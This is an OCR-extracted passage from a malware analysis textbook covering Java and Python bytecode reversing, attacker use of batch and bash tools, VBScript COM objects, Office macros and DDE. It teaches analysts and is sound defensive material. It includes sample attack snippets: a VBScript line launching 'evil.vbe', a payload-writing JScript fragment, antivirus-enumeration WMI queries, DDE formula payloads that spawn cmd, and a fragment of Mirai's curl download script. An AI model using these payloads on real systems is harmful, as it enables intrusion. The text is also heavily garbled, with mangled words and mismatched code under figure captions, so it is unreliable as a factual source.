files. Exploits used to be another big problem for users until recent changes were
introduced by the industry. In this section, we will explore the internals of the
compiled Java files and learn how to analyze malware leveraging it.



File structure

Once compiled, text .java files become .c1ass files and can be executed by the
JVM straight away.

Here is their structure according to the official documentation:

ClassFile {
u4 magic;
u2 minor_version;
u2 major_version;
u2 constant_pool_count;
cp_info constant_pool[constant_pool_count-1];
u2 access_flags;
u2 this_class;
u2 super_class;
u2 interfaces_count;
u2 interfaces[interfaces_count];
u2 fields_count;
field_info fields[fields_count];
u2 methods_count;
method_info methods[methods_count];
u2 attributes_count;
attribute_info attributes[attributes_count];

}

The magic value that's used in this case is a hexademical oworo excaresase. The
other fields are self-explanatory.

The most common way to release a more complex project is to build a JAR file
that contains multiple compiled modules, as well as auxiliary metadata files such
as manzrest.vr. JAR files follow the usual ZIP archive format and can be extracted
using any unpacking software that supports it.

Finally, the Java Network Launch Protocol (JNLP) can be used to access Java
files from the web using applets or Java Web Start software (included in the
JRE). JNLP files are XML files with certain fields that are expected to be
populated. Generally, except for the generic information about the software, it
makes sense to pay attention to the <jar> field, which is a reference to the actual
JAR file, and the <appiet-desc> field that, among other things, specifies the name
of the main Java class.

There are multiple ways that Java-based samples can be analyzed. In this



section, we are going to explore multiple options available for both static and
dynamic analysis.



JVM instructions

The list of supported instructions is very well-documented, so generally it isn't a
problem to find information about any bytecode of interest. Here are some

examples of what they look like:

Mnemonic Opcode in Description
hex
Aload 0x19 Load reference from a local variable on the
stack
fadd 0x62 Add float
Lcmp 0x94 Compare long

Interestingly enough, there are other projects that can produce Java bytecode, for
example, JPython, which aims to compile Python files into Java-style bytecode.




Static analysis

Since the Java bytecode remains the same across all platforms, it speeds up the
process of creating high-quality decompilers as developers don't have to spend
much time on supporting different architectures and operating systems. Here are
some of the most popular tools available to the general public:

Krakatau: A set of three tools written in Python, allowing for the
decompiling and disassembling of Java bytecode, as well as assembling.
Don't forget to specify the path to the rt.jar file from your Java folder via
the -path argument when using it.

Procyon: Another powerful decompiler, this is able to process Java files,
raw bytecode, and bytecode Abstract Syntax Tree (AST).

FernFlower: A Java decompiler that's maintained as a plugin for IntelliJ
IDEA Community Edition. It has a command-line version as well.

CFR: A JVM bytecode decompiler written in Java, that can process
individual classes and entire JAR files as well.

d4j: A Java decompiler built on top of the Procyon project.

Ghidra: This reverse-engineering toolkit supports multiple file formats and
instruction sets, including Java bytecode:
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Figure 22: Disassembled and decompiled Java bytecode in Ghidra

e JD Project: A venerable Java Decompiler project, this provides a set of
tools for analyzing Java bytecode. It includes a library called JD-Core, a
standalone tool called JD-GUI, and several plugins for major IDEs.

e JAD: A classic decompiler that has assisted generations of reverse



engineers with Java malware analysis. It's now discontinued:

function WriteFile(data)

I
L

var fso = new ActiveXObject("Scripting.FileSystemObject”);
var th = fso.CreateTextFile("c:\ temp\'\payload.bin", true);
th.Write(data);

Fh.Close();

driteFile("<some_data>");

Figure 23: Decompiled code of Adwind RAT written in Java

It always makes sense to try several different projects and compare their output
since all of them implement different techniques, so the quality may vary
depending on the input sample.

If necessary, Java bytecode disassembly can be obtained using a standard javap
tool with the -c argument.



Dynamic analysis

Modern decompilers generally produce a reasonably high-quality output, which,
after minor modifications, can be read and debugged as any usual Java source
code. There are multiple IDEs that support Java that provide debugging options
for this purpose: Eclipse, NetBeans, Intellij IDEA, and others.

In case the original bytecode stream tracing is required, it is possible to achieve
this with the -xx:+Tracesytecodes option that's available for debug builds of the
HotSpot JVM. If step-by-step bytecode debugging is required, then Dr.
Garbage's Bytecode Visualizer plugin for Eclipse IDE appears to be extremely
handy. It allows you to not only see the disassembly of the compiled modules
inside the JAR, but also the ability to debug them.



Dealing with anti-reverse engineering
solutions

There is an impressive amount of commercial obfuscators for Java available on
the market at the moment. As for malware, many of them use either cracked
versions or demo and leaked licences. An example is the Allatori Obfuscator,
which is misused by Adwind RAT.

When the obfuscator's name is confirmed (for example, by unique strings), it
generally makes sense to check whether any of the existing deobfuscation tools
support it. Here are some of them:

e Java Deobfuscator (https://github.com/java-deobfuscator/): A versatile project
that supports a decent amount of commercial protectors

e JMD: A Java bytecode analysis and deobfuscation tool that' sable to
remove obfuscation from multiple well-known protectors

e Java DeObfuscator (JDO): A general-purpose deobfuscator that
implements several universal techniques, such as renaming obfuscated
values to be unique and indicative to their data type

e jrename: Another universal deobfuscator that specializes in renaming
values in order to make the code more readable

If nothing ready-to-use has been found, it makes sense to search for articles
covering this particular obfuscator as they may give you valuable insight into
how it works and what approach is worth trying.

If no information has been found, then it is time to explore the logic behind the
obfuscator from scratch, trying to get the most valuable information first, such as
strings and then the bytecode. The more information about the solution that can
be collected, the less time will be spent on the analysis itself later on.


https://github.com/java-deobfuscator/

Python—script language internals

Python is a high-level general-purpose language that debuted in 1990 and since
that time has gone through several development iterations. At the time of
writing, there are two branches actively used by the public—Python 2 and
Python 3, which are not completely compatible. The language itself is extremely
robust and easy to learn, which eventually lets engineers prototype and develop
ideas rapidly.

As for why compiled Python is used by malware authors when there are so many
other languages, this language is cross-platform, which allows an existing
application to be easily ported for multiple platforms. It is also possible to create
executables from Python scripts using tools such as py2exe and PylInstaller.

Some people may wonder—why is Python covered in this chapter when it is a
scripting language? The truth is, whether the programming language uses
bytecode or not depends on the actual implementation and not on the language
itself. Active Python users might notice files with the .pyc extension appearing,
for example, when the Python modules get imported. These files contain the
code compiled to Python's bytecode language and can be used for various
purposes, including malicious ones. In addition, the executables generated from
Python projects can generally be reverted to these bytecode modules first.

In this section, we will explain how such samples can be analyzed.



File structure

There are actually three types of compiled files associated with Python: .pyc, .pyo,
and .pyd. Let's go through the differences between them:

e _pyc: These are standard compiled bytecode files that can be used to make
future module importing easier and faster

e _pyo: These are compiled bytecode files that are built with the -o (or -
oo) option, which is responsible for introducing optimizations that affect the
speed they will be loaded (not executed)

e .pyd: These are traditional Windows DLL files that implement the MZ-PE
structure (for Linux, it will be .so)

Since MZ-PE files have been covered multiple times throughout this book, we
won't talk about them too much, nor spend much time on .pyd files. Their main
feature is having a specific name for the initialization routine that should match
the name of the module. Particularly, if you have a module named foo. pyd, it
should export a function called initfoo so that later, when imported using

the import foo statement, Python can search for the module with such a name and
know the name of the initialization function to be loaded.

Now, let's focus on the compiled bytecode files. Here is the structure of the .pyc
file:

Field Size Description

The first two bytes are unique to the processing
code that's used (which generally changes with
every new version of the Python interpreter), and
the next two bytes are \xep\xoa (standard newline
combination \r\n for Windows platforms). The idea
here is that if the file is accidentally processed as a
text file and corrupted, there is a higher chance it
will affect the magic value.

Magic 4




Extra field 4
(py3) Usually o (this field is generated by Python 3 only).
Unix modification timestamp of the source code. It
Modification 4 can be used to check whether the original file has
timestamp been changed and whether recompilation is
required.
Source code Size of the original script (this field is generated by
: 4
size (py3) recent Python 3 only).
The output of the dump method of the marsha1 module
that implements internal Python object serialization.
Marshalled Varies The easiest and most reliable way to parse this
code block (which contains the actual bytecode and data

in a packed format) and get access to particular
values is to use the 10ad method of the same module.

Interestingly enough, the .pyc modules are platform-independent, but at the same

time Python version-dependent. Thus, .pyc files can be easily transferred between

systems with the same Python version installed, but files that are compiled using
one version of Python generally can't be used by another version of Python, even
on the same system.




Bytecode instructions

The official Python documentation provides a description for the bytecode that's
used in both versions 2 and 3. In addition, since it is open source software, all
bytecode instructions for a particular Python version can be also found in the
corresponding source code files, mainly cevai.c.

The differences between the bytecode that's used in Python 2 and 3 aren't that
drastic, but still noticeable. For example, some instructions implemented for
version 2 are gone in version 3 (such

dS STOP_CODE, ROT_FOUR, PRINT_ITEM, PRINT_NEWLINE/PRINT_NEWLINE_TO, and SO On):

emble(code)
@ LOAD CONST ® ("hello world')
3 PRINT_ITEM
PRINT_NEWLINE
LOAD CONST 1 (None)
8 RETURN_VALUE
e e i e—————————————————=&

dis.disassemble(code)
3 LOAD NAME @ (print)
2 LOAD CONST @ ("hello world")
CALL _FUNCTION 1
6 POP_TOP
} LOAD CONST 1 (None)
16 RETURN_VALUE

Figure 24: Different bytecode for the same HelloWorld script produced by Python 2 and 3

Here are the groups of instructions that are used in the official documentation for
Python 3, along with some examples:

¢ General instructions: Implements the most basic stack-related operations:
¢ wop: Do nothing (generally used as a placeholder)
e por_tor: Removes the top value from the stack
e roT_Two: Swaps the top items on the stack

e Unary operations: These operations take the first item on the stack,



process it, and then push it back:
® UNARY_POSITIVE. Increment
e unarv_NoT: Logical not operation
® UNARY_INVERT: Inversion
e Binary operations: For these operations, the top two items are taken from
the stack and the result is pushed back:
e sinary_muLTIpLy: Multiplication
e pInary_app: Addition
e sinary_xor: Logical XOR operation
e In-place operations: These instructions are pretty much the same as Binary
analogous, the difference mainly being in the implementation (the
operations are done in-place). Examples of such instructions are as follows:
e 1npLace_muLTIpLy: Multiplication
® INPLACE_suBTRACT: Subtraction
e 1npLace_rsHIFT: Right shift operation
e Coroutine opcodes: Coroutine-related opcodes:
e cer_arter: Call the get_awaitable function for the output of the _aiter_ ()
method of the top item on the stack
e setup_async_wiTh: Create a new frame object
e Miscellaneous opcodes: The most diverse category, this contains bytecode
for many different types of operations:
e greak_Loop: Terminate a loop
e set_aop: Add the top item on the stack to the set specified by the second
item
e wake_runctron: Push a new function object to the stack

The bytecode instruction names are quite self-explanatory. For the exact syntax,
it always makes sense to consult the official documentation.



Analyzing compiled Python

After discussing the various aspects of Python as a scripting language, we will
now pay attention to the analysis of compiled Python. In this section, we will go
through the practical analysis techniques from a Python perspective.



Static analysis

In many cases, the analysts don't get the compiled Python modules straight away.
Instead, they get a sample, which is a Python script that's been converted into an
executable using either py2exe or PylInstaller solutions. So, before digging into
bytecode modules themselves, we need to obtain bytecode modules. Luckily,
there are several projects that are able to perform this task:

® unpyzexe.py: This script can handle samples built using pyzexe.
® pyinstxtractor.py: As the name suggests, this tool can be used to extract
Python modules from the executables built using the PylInstaller solution.

An open source project called python-exe-unpacker combines both of these tools and
can be run against the executable sample without any extra checks.

After extracting the files that were packed using pyinstaiier, there is one moment
that can be quite frustrating for anybody who just started analyzing compiled
Python files. In particular, the main extracted module will likely be missing the
first few bytes preceding the marshalled code (see the preceding table for the
exact number that depends on the Python version), so it can't be processed by
other tools straight away. The easiest way to handle this is to take them from any
compiled file on the current machine and then add them there using any hex
editor. Such a file can be created by importing (not executing) a simple Hel1oworld
script.

Since analyzing Python source code is pretty straightforward, it definitely makes
sense to stick to this option where possible. In this case, the decompilers, which
are able to restore the original code, appear to be extremely useful. At the
moment, multiple options are available:

e uncompyle6: An open source native Python decompiler that supports
multiple versions of it. It does exactly what it promises—translates
bytecode back into equivalent source code. There were several older
projects preceding it (decompyle, uncompyle, and uncompyle2).

¢ Decompyle++ (also known as pycdc): A disassembler and decompiler
written in C++, it seeks to support bytecode from any version of Python.



e Meta: A Python framework that allows you to analyze Python bytecode and
syntax trees.

e UnPyc: Another Python disassembler and decompiler. Unfortunately, the
project has been suspended.

After obtaining the source code, it can be reviewed in any text editor with
convenient syntax highlighting or an IDE of your choice.

However, in certain cases, the decompiling process is not possible straight away.
For example, when the module is corrupted during a transfer, partial
decoding/decryption, or maybe due to some anti-reverse engineering technique.
Such tasks can also be found in some CTF competitions. In this case, the
engineer has to stick to analyzing the bytecode. Apart from the tools we
mentioned previously, the marshal.load and dis.disassemble methods can be used to
translate the bytecode into a readable format.



Dynamic analysis

In terms of dynamic analysis, usually, the output of decompilers can be executed
straight away. Step-by-step execution is supported by any major IDE supporting
the Python language. In addition, step-by-step debugging is possible with

the trepan2/trepanak debugger (for recent versions of Python 2 and 3, respectively),
which automatically uses uncompyle6 if there is no source code available. For
Python before 2.6, the older packages, pydbgr and pydb, can be used.

If there is a necessity to trace the bytecode, there are several ways of how it can
be handled, for example:

e Patching the Python source code: In this case, usually the cevai.c file is
being amended to process (for example, print) executed instructions.

e Amending the .pyc file itself: Here, the source code line numbers are
replaced by the index of each byte, which eventually allows you to trace
executed bytecode. Ned Batchelder covered this technique in his Wicked
hack: Python bytecode tracing article.

There are also existing projects such as bytecode_tracer that aim to handle this task
(at the moment, it only supports .pyc files with a header format that's generated
by the current version of Python 2, so update it if necessary).

The anti-reverse engineering techniques can be represented by doing the
following:

e Manipulating non-existing values on the stack
e Setting up a custom exception handler (for this purpose, the setur_except
instruction can be used)

When editing the bytecode (for example, in order to get rid of anti-debugging or
anti-decompiling techniques or to restore a corrupted code block), the dis.opmap
mapping appears to be extremely useful in order to find the binary values of
opcodes and later replace them, and the bytecode_graph module can be used to
seamlessly remove unwanted values.



Summary

In this chapter, we covered the fundamental theory of bytecode languages. We
learned what their use cases are and how they work from the inside. Then, we
dived deep into the most popular bytecode languages used by modern malware
families, explained how they operate, and their unique specifics that need to be
paid attention to. Finally, we provided detailed guidelines on how such malware
can be analyzed and the tools that can facilitate this process.

Equipped with this knowledge, you will be able to analyze malware of this kind
and this way get an invaluable insight into how it may affect victims' systems.

In chapter 9, Scripts and Macros and Deobfuscation and Debugging, we are
going to cover various script languages, explore the malware that misuses them,
and find interesting links between them, as well as already covered technologies.



Scripts and Macros: Reversing,
Deobfuscation, and Debugging

Writing malware nowadays is a business, and, like any business, it aims to be as
profitable as possible by reducing development and operational costs. Another
strong advantage is being able to quickly adapt to changing requirements and the
environment. Therefore, as modern systems become more and more diverse and
low-level malware has to be more specific to its task, for basic operations, such
as actual payload delivery, attackers tend to choose approaches that work on
multiple platforms and require a minimum amount of effort to develop and
upgrade.

As a result, it is no surprise that script languages have become increasingly
popular among attackers as many of them satisfy both of these criteria.

In addition to this, the traditional attacker requirements are still valid, such as
being as stealthy as possible in order to successfully achieve malicious goals. If
the script interpreter is already available on the target system, then the code will
be of a relatively small size. Another reason for this is anti-detection—many
traditional antivirus engines support binary and string signatures better.
However, in order to properly detect obfuscated code scripts, a syntax parser or
emulator is required, and this might be costly for the antivirus company to
develop and support. All of this makes scripts a perfect choice for first stage
modules.

This chapter is divided into the following sections:

e C(Classic shell script languages
e Explaining Visual Basic Scripting (VBScript)
e Those evil macros inside documents

The power of PowerShell

Handling JavaScript

Behind Command and Control (C&C)—even malware has its own backend
Exploring other script languages



Classic shell script languages

All modern operating systems support some kind of command language, which
is generally available through the shell. Their functionality varies from system to
system. Some operating systems might be powerful enough to be used as a full-
fledged script language, while other operating systems support only the minimal
syntax that is required to interact with the machine. In this chapter, we will cover
the two most common examples: bash scripting for Unix and Linux and batch
files for the Windows platform.



Windows batch scripting

The Windows batch scripting language was created mainly to facilitate certain
administrative tasks and not to completely replace other full-fledged alternatives.
While it supports certain programming concepts such as functions and loops,
some quite basic operations like string manipulations might be less obvious to
implement compared to many other programming languages. The code can be
executed directly from the cmd.exe console interface or by creating a file with

the .cmd Or .bat extensions (note that the commands are case-insensitive).

The list of supported commands remains quite ascetic, even today. All
commands can be split into two groups, as follows:

¢ Built-in: This set of commands provides the most fundamental
functionality and is embedded into the interpreter itself. This means that the
commands don't have their own executable files. Some example commands
that might be of an attacker's interest include the following:

ca11: This command executes functionality from the current batch file
or another batch file, or executes a program

cd: This command changes the current directory

copy: This command copies filesystem objects to a new location
del/erase: These commands delete existing files (not directories)

dir: This command lists filesystem objects

move: This command moves filesystem objects to another location
rd/rmdir: These commands delete directories (not files)

ren/rename: These commands change the names of the filesystem objects
start: This command executes a program or opens a file according to
its extension

e External: These are tools that are provided as independent executable
programs and can be found in a system directory. Some examples that are
often misused by attackers include the following:

at: This schedules a program to execute at a certain time.

attrib: This displays or changes the filesystem object attributes; for
example, the system, read-only, or hidden attributes.

cacls: This displays or changes the Access Control List (ACL).

e rind: This searches for particular filesystem objects; for example, by



filename, by path, or by extension.

e format: This formats a disk that is overwriting (or destroying) the
previous content.

e ipconfig: This displays and renews the network configuration for the
local machine.

® net: This is a multifunctional tool that provides various network
services, including user (net user) and remote resource (net
share) administration.

® ping: This tool checks the connectivity to remote resources by using
ICMP packets. It can also be used to establish a subvert network
channel and exfiltrate data.

® robocopy and xcopy: These tools copy filesystem objects to another
location.

e rund1132: This loads the DLL; here, exports by name and by ordinals are
both supported.

e sc: This communicates with Service Control Manager and manages
Windows services including creating, stopping, and changing
operations.

® schtasks: This is a more powerful version of the at tool; it works by
scheduling programs to start at a particular time. This is essentially a
console alternative to Windows Task Scheduler and supports local and
remote machines.

® shutdown: This restarts or shuts down the local or remote machine.

® taskkill: This terminates processes by either name or Process ID
(PID); additionally, it supports both local and remote machines.

e tasklist: This displays a list of currently running processes;
additionally, it supports both local and remote machines.

As you can see here, there are no tools to send HTTP requests or to compress
files. From the attacker's perspective, this means that in order to implement more
or less basic malware functionality, such as downloading, decrypting, and
executing additional payloads, they have to write extra code.

However, many tools natively support remote machines, so it is possible to
execute certain commands on another victim's machine if there are available
credentials without the extra tools required.

The most common obfuscation patterns for batch files are as follows:



¢ Building commands by taking substrings from long blocks

e Using excessive variable replacements; this is either not defined or it is
defined somewhere far from the place of use

e Using long variable names of random uppercase and lowercase letters

e Adding multiple meaningless symbols such as pairs of double quotes or
caret escape characters (1). An example can be found in the following
screenshot:

e [ bt 1O T D TR Rl T e R s St T el B

Figure 1: An example of a batch script obfuscation using escape symbols

e Mixing uppercase and lowercase letters in general (the Windows console is
case-insensitive unless the case makes a difference, for example, in base64
encoding). Here is an example:

6o000eee 2 2 25 PeadeiibilcdcFex x%h
00000010: 2 20 2 2 25 . %sTsrurwiM
@oeee020: 2 , 2 2 25 J%xykalkad2ykwari
00000030 A

00000040 :

00000e50:

0000e0eEs : - - 7
60060070 2 2 2 %k b%pppkolikiok

Figure 2: An example of a batch script obfuscation using nonexisting variables

The first and second cases can be handled by just printing the results of these
operations using the echo command. The third and fourth cases can be easily
handled by basic replacement operations, and the fifth case can be handled by
just making everything lowercase except things like base64-encoded text.



Bash

Bash is a command-line interface that is native to the Linux world. It follows the
one-task-one-tool paradigm, where multiple simple programs can be chained
together. The shell scripting supports fundamental programming blocks, such as
loops, conditional constructs, or functions. In addition to this, it is powered by
multiple external tools—most of which can be found on any supported system.
Yet, unlike the Windows shell, which has multiple built-in commands, even the
most basic functions, such as printing a string, are done by an independent
program (in this case, echo). The default file extension for shell scripts is .sh.
However, even a file without any extension will be executed properly if the
corresponding interpreter is provided in the header, for example, #:/bin/bash.
Unlike Windows, here, all commands are case-sensitive.

There are many other shells in the Linux world, such as sh, zsh, and ksh. However,
nowadays, bash is the default option for most distributions, and most malware
families utilize it.

As most Linux tools provide only a tiny piece of functionality, the full-fledged
attack will involve many of them. However, some of them are still often used by
attackers to achieve their goals, especially in mass-infection malware such as
Mirai:

e chmod: This changes permissions; for example, to make a file readable,
writable, or executable.

e cd: This changes the current directory.

e ¢p: This copies filesystem objects to another location.

e curl: This network tool is used to transfer data to and from remote servers
through multiple supported protocols.

e rind: This searches for particular filesystem objects by name and certain
attributes.

e grep: This searches for particular strings in a file or files containing
particular strings.

e 1s: This lists filesystem objects.
e nv: This moves filesystem objects.



e nc: This is a netcat tool, which allows you to read from and write to network

connections using TCP or UDP. By default, it is not available on some

distributions.

ping: This checks the access to a remote system by sending ICMP packets.

ps: This lists processes.

rm: This delete filesystem objects.

tar: This compresses and decompresses files using multiple supported

protocols.

e trtp: This is a client for trivial File Transfer Protocol (FTP); it is a simpler
version of FTP.

e wget: This downloads files over the HTTP, HTTPS, and FTP protocols:

=

3 curl -0 http:
; curl -0 http:
; curl -0 http:
; curl -0 http:

; curl -0 http:

; curl -0 hitp:
; curl -0 http:
; curl -0 http:

; curl -0 http:

1 -0 http:
curl -0 http:

-; curl -0 http:

B B & &

B O O O &

[

=

Figure 3: An example of Mirai's shell script

Just like malware written on any other programming language, obfuscation can
be incorporated here in order to slow down the reverse engineering process and
bypass basic signature detection. There are multiple approaches that are possible
in theory, such as dynamically decoding and executing commands, using crazy
variable names, or applying sed/awk string replacements. However, it is worth
mentioning that modern IoT malware still doesn't incorporate any sophisticated
tricks. This is mainly due to the fact that the scripts that are used are very generic
and can only be detected if the corresponding network IOC is known or if the
final payload is detected.



VBScript explained

Microsoft Visual Basic Scripting (VBScript) Edition was the first mainstream
programming language embedded into Windows OS. It has been actively used
by system administrators to automate certain types of tasks without needing to
install any third-party software. Available on all modern Microsoft systems, it
gradually became a popular choice for malware writers who needed a guaranteed
way of performing certain actions without any need to recompile the associated
code.

Currently, Microsoft has decided to switch to PowerShell to handle
administrative tasks and has left all future VBScript support to the ASP.NET
framework. So far, there are no plans to discontinue it in future Windows
releases.

The native file extension for VBScript files is .vbs, but it is also possible to
encode them into files using a .vbe extension. Additionally, they can be
embedded into Windows script files (.wsf) or HTML application (.hta) files. .vbs,
.vbe, and .wsf files can be executed either by wscript.exe, which provides the
proper GUI, or cscript.exe as the console alternative. .nta files are executed by the
mshta.exe tOOL.



Basic syntax

Initially, this technology was targeted at web developers as it was relatively
similar to JS, and this fact drastically affected the syntax. VBScript is
modeled on Visual Basic and has similar programming elements, such as
conditional structures, loop structures, objects, and embedded functions (data
types are slightly different to work with as all variables in VBScript have the
variant type or one of its subtypes). Most of this high-level functionality can be
accessed in the corresponding Microsoft Component Object Model (COM)
objects. COM is a distributed system for creating interacting software
components.

Here are some COM objects and the corresponding methods and properties that
are often misused by attackers:

® wscript.shell: This gives access to multiple system-wide operations, as
follows:

L4 RegRead/RegDelete/RegWriteZ These interact with the Windows registry to
check the presence of certain software (such as an antivirus program),
tamper with its functionality, delete traces of an activity, or add a
module to autorun

e run: This is used to run an application

® shell.application: This allows more system-related functionality, as follows:
® GetsystemInformation: This acquires various system information, for
example, the size of the memory available in order to identify
sandboxes
® servicestart: This starts a service; for example, one that has a persistent
module
® servicestop: This stops a service; for example, one that belongs to
antivirus software
® shellexecute: This runs a script or an application
® scripting.Filesystemobject: This gives access to filesystem operations, as
follows:
L4 CreateTextFile/OpenTextFileI This creates or opens a file
® RreadLine/Readall: This reads the content of a file; for example, a file



that contains some information of interest or another encrypted
module
e write/writeLine: This writes to the opened file; for example, to
overwrite an important file or configuration with other content, or
to deliver a next attack stage or an obfuscation layer payload
e cetrile: This returns a rile object that provides access to multiple file
properties and several useful methods:
® copy/move: This copies or moves files to the specified location
e pelete: This deletes the corresponding file
e attributes: This property can be modified to change the file's
attributes
® copyFile/Move/Moverile: This copies or moves a file to another location
e peleterile: This deletes the requested file
outlook.Application: This allows you access to Outlook applications to spread
malware or spam:
® Getnamespace: Some namespaces such as MAPI will give you access to a
victim's contacts
® createrten: This allows for new email creation

Microsoft.xMLHTTR/MsxmL2. xMLHTTP: This allows you to send HTTP requests to
interact with web applications:
e open: This creates a request, such as cet or post
® setrequestHeader: This sets custom headers; for example, for victim
statistics, an additional basic authentication layer, or even data
exfiltration
e send: This sends the request
L GetResponseHeader/GetAllResponseHeadersI These properties check the
response for extra information or basic server validation
® ResponseText/ResponseBody: These properties provide access to the actual
response, such as a command or another malicious module
msxmL2.serverxMLiTTP: This provides the same functionality as the previously-
mentioned xmutTe, but is supposed to be used mainly from the server side. It
is generally recommended because it handles redirects better.
winHttp.winHttprequest: Again, this uses a similar functionality, but it is
implemented in a different library.
aoops.strean: This allows you to work with streams of various types:
e write: This writes to a stream object; this could be from the C&C
response, for example
® saveTorile: This writes stream data to a file



® Rread/rReadText: These can be used to access the base64-encoded value
® wMicrosoft.xMLDOM/MSxML .DoMDocument: These were originally designed to work
with XML Document Object Model:
® createelement: This can be used together with apope.stream to handle
base64 encoding once it is used with the bin.bases4 patatype value and
the NodeTypedvalue property

So, how can all this information be used when we're performing an analysis?
Here is a simple example of code executing another payload:
Dim Val

Set Val= Wscript.CreateObject("WScript.Shell")
Val.Run """C:\Temp\evil.vbe"""

As you can see here, after the object is created, its method can be executed
straight away.

Among native methods, the following can be used to execute expressions and
statements:

¢ eval: This evaluates an expression and returns a result value. It interprets
the = operator as a comparison rather than an assignment.

e execute: This executes a group of statements separated by colons or line
breaks in the local scope.

® ExecuteGloba: This is the same as execute, but for the global scope. It is
commonly used by attackers to execute decoded blocks.

Additionally, it is relatively straightforward to work with Windows
Management Instrumentation (WMI) using VBScript. WMI is the
infrastructure for management data on Windows systems, which gives access to
information such as various system details or a list of installed antivirus products
—these are all potentially interesting for attackers. Here are two ways it can be
accessed:

o First, with the hEIP of the wbemscripting.swbemLocator ObjECt and its connectserver
method in order to access "root\cimv2":

Set objLocator = CreateObject("WbemScripting.SWbemLocator")

Set objService = objLocator.ConnectServer(".", "root\cimv2")
objService.Security_.ImpersonationLevel = 3

Set Jobs = objService.ExecQuery("SELECT * FROM AntiVirusProduct")



e Second, through the winmgmts: moniker:

strComputer = "."
Set oWMI = GetObject("winmgmts:\\" & "." & "\root\SecurityCenter2")
Set colItems = oWMI.ExecQuery("SELECT * from AntiVirusProduct")



Static and dynamic analysis

The once-supported Microsoft Script Debugger was replaced by the Microsoft
Script Editor and was distributed as part of the MS Office up to the 2007 edition;

it was later discontinued:
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Figure 4: The interface of the Microsoft script editor

For basic static analysis, a generic text editor supporting syntax highlighting
might be good enough. For dynamic analysis, it is highly recommended to use
Visual Studio 2017. Even the free community edition provides all the necessary
functionality to do this in a very efficient way. Instructions on how to set it up



can be found in the following screenshot.

In addition to this, there are multiple third-party IDEs and debuggers available
on the market:
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Figure 5: Debugging the VBScript file in Visual Studio



While it is relatively straightforward to encode the .vbs file into .vbe using the
EncodescriptFile method pI‘OVidEd by the scripting.Encoder object, there is ObViOUSly
no native tool to decode the .vve scripts back to .vbs, otherwise it would diminish
its purpose:

Wscript.Echo "Hello Reader!™

Figure 6: The original and encoded VBScript files

However, there are several open source projects available that aim at solving this
problem; for example, a decode-vbe.py tool by Didier Stevens.

When analyzing the code, it makes sense to pay particular attention to the
following operations:

¢ Filesystem and registry access
¢ Interaction with remote servers
e Application and script execution



Deobfuscation

Quite often, VBS obfuscation utilizes pretty basic techniques, such as adding
garbage comments or using strings that require character replacement before
they can be used. Syntax highlighting appears to be quite useful when analyzing
such files.

Once you have the actual functional code, the easiest way to handle it is to
search for the functions you are most interested in (as we previously listed) and
check their parameters in order to get information about dropped or exfiltrated
files, executed commands, accessed registry keys, and C&C(s) to connect. If the
obfuscation layer makes functionality completely obscure, then it is necessary to
keep track of variables accumulating at the next stage script. You can iterate
through the layers one by one, printing or watching them in order to get the next
block's functionality until the main block of code becomes readable.



Those evil macros inside documents

While many loud malware attacks were related to exploited vulnerabilities,
humans remain the weakest link of the defense chain. Social engineering
techniques can allow malicious actors to successfully execute their code without
creating or buying complicated exploits. Since many organizations now provide
cybersecurity training for all newcomers, many people know basic things, such
as it is unsafe to click on links or executable files received by various means
from outside of the organization or the group of people that you know.
Therefore, the attackers have to invent new ways to trick users, and documents
containing malicious macros are a great example of these ongoing efforts.

MS Office macros incorporate the Visual Basic for Applications (VBA)
programming language. This is derived from Visual Basic 6, which was
discontinued a long time ago. The VBA survived and was later upgraded to
version 7. Normally, the code can only run within a host application, and it is
built into most Microsoft Office applications (even for macOS).



Basic syntax

VBA is a dialect of Visual Basic and inherited its syntax. VBScript can be
considered as a subset of VBA with a few simplifications, mainly caused by
different application models. The same exact elements need to be paid attention
to when analyzing VBA objects:

¢ File and registry operations
e Network activity
e The commands that are executed

The list of COM objects that are of the attacker's interest is also exactly the same
as VBScript. The only difference is that some functionality can be accessed
without creating objects; for example, the she11 method:
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Figure 7: An example of a malicious macro inside a document




Static and dynamic analysis

Unlike VBScript, VBA has its own native editor that can be accessed from the
Developer tab, which is hidden by default. It can be enabled in MS Office
options in the Customize Ribbon menu:

function WriteFile(data)

)
L

var fso = new ActiveXObject("Scripting.FileSystemObject”);
var th = fso.CreateTextFile("c:" \temp' payload.bin", true);
th.Write(data);

th_Close();

1
J

WriteFile("<some_data>");

Figure 8: Enabling the VBA macros editor in MS Office options

It supports debugging the code in this way, making both static and dynamic
analysis relatively straightforward.

Another tool that can extract macros from documents is officemalscanner, When
executed with the info command-line argument. Apart from this, the previously
mentioned tools from the o1etoo1s project (especially oievba and oledump) can be
used to extract and analyze VBA macros as well. If the engineer wants to work
with p-code instead of source code for some reason, the pcodedmp project aims to
provide the required functionality. Finally, vipermonkey can be used to emulate
some VBA macros and, in this way, help handle obfuscation.



Besides macros

There are other methods that attackers may use to execute code once the
document is opened. Another approach is to use the mouse click Mouse Over
technique that involves executing a command when the user moves the mouse
over a crafted object in PowerPoint.

This can be done by assigning the corresponding action to it, as follows:

Action Settings 4 >

Mouse Click Mouse Over

Action on mouse aver
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() Hyperlink to:
Mext Slide
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| Erowse...
Eun macro
CObject action
|:| Play sound:
[Mo Sound]
Highlight when mouse over
oK Cancel

Figure 9: Adding an action to an object in PowerPoint

The good news is that updated versions of Microsoft Office should have a
protected view (read-only access) security feature enabled, which will warn a



user about a potential external program's execution if the document came from
an unsafe location. In this case, it will be all about social engineering—whether
the attacker succeeds in convincing the victim to ignore or disable all warnings.

Finally, Dynamic Data Exchange (DDE) functionality can also be used to
execute malicious commands. One way it can do this is by adding a ooeauto field
with the command to execute, specified as the argument. Another way this
functionality can be misused is by targeting Microsoft Excel. In this case, a file
with an extension supported by it (such as .csv or .xit) will contain the command
crafted in the following way:

| (+]-]=)<command_to_execute>|'<optional_arguments_prepended_by_space>'!<row_or_column_or_

Alternatively, the command can be passed as an argument to a built-in function
such as sum. Here are example payloads that execute calc.exe after the user's
confirmation:

=calc|"' '!A
+cmd|' /c calc.exe'!7
@SUM(calc|' '!'z99)

Here is an example of the warning message displayed by Microsoft Excel when
this technique is used:

Microsoft Excel X|

. Remote data ot accessble.
l-” | Toaccess this data Excel needs bo start anather application. Some legitimate appications on your computer could be used malidously to spread
U viruses or damage your computer, Only cick Yes if vou trust the source of this warkbook and yau want ko Iet the workbook start the application,

Statt appiication ‘CMDLEXE?
I | b

Figure 10: An example of a Microsoft Excel warning box related to potential code execution

A nsodde tool (part of oletoo1s) may help in detecting such techniques in samples.

While any code execution here will require user confirmation before being
enabled, it still remains a possible attacking vector with the help of social
engineering.



